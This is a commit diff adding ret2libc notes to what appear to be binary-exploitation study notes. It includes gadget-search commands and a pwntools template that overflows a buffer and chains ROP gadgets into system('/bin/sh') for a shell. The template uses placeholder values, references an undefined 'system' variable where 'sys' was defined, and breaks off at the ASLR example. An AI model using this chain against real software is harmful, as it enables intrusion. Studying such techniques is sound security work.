ret2libc addition

This commit is contained in:
Stefan Friese 2022-02-03 22:46:56 +01:00
parent b0e1d1a276
commit 0caf7edbf6
1 changed files with 36 additions and 1 deletions

View File

@ -41,7 +41,42 @@ readelf -s /lib32/libc.so.6 | grep system
* Architecture
* Calling convention
## Usage
### Manually
```sh
ROPgadget --binary <file> | grep rdi
```
* Find `ret`s, to put in front of rdi
```sh
objdump -d <file> | grep ret
```
## Example without ASLR
```python
from pwn import *
p = process('<binary>')
cbase = 0x<libc_base>
sys = cbase + <libc_system>
sh = cbase + <libc_shell>
rop_rdi = <found rop rdi>
rop_ret = <found rop ret>
payload = b'A' * <count>
payload += b'B' * 8
payload += p64(rop_ret)
payload += p64(rop_rdi)
payload += p64(sh)
payload += p64(system)
payload += p64(0x0) # end payload
p.recv()
p.sendline(payload)
p.interactive()
```
## Example with ASLR
* Create context
```python
#!/usr/bin/env python3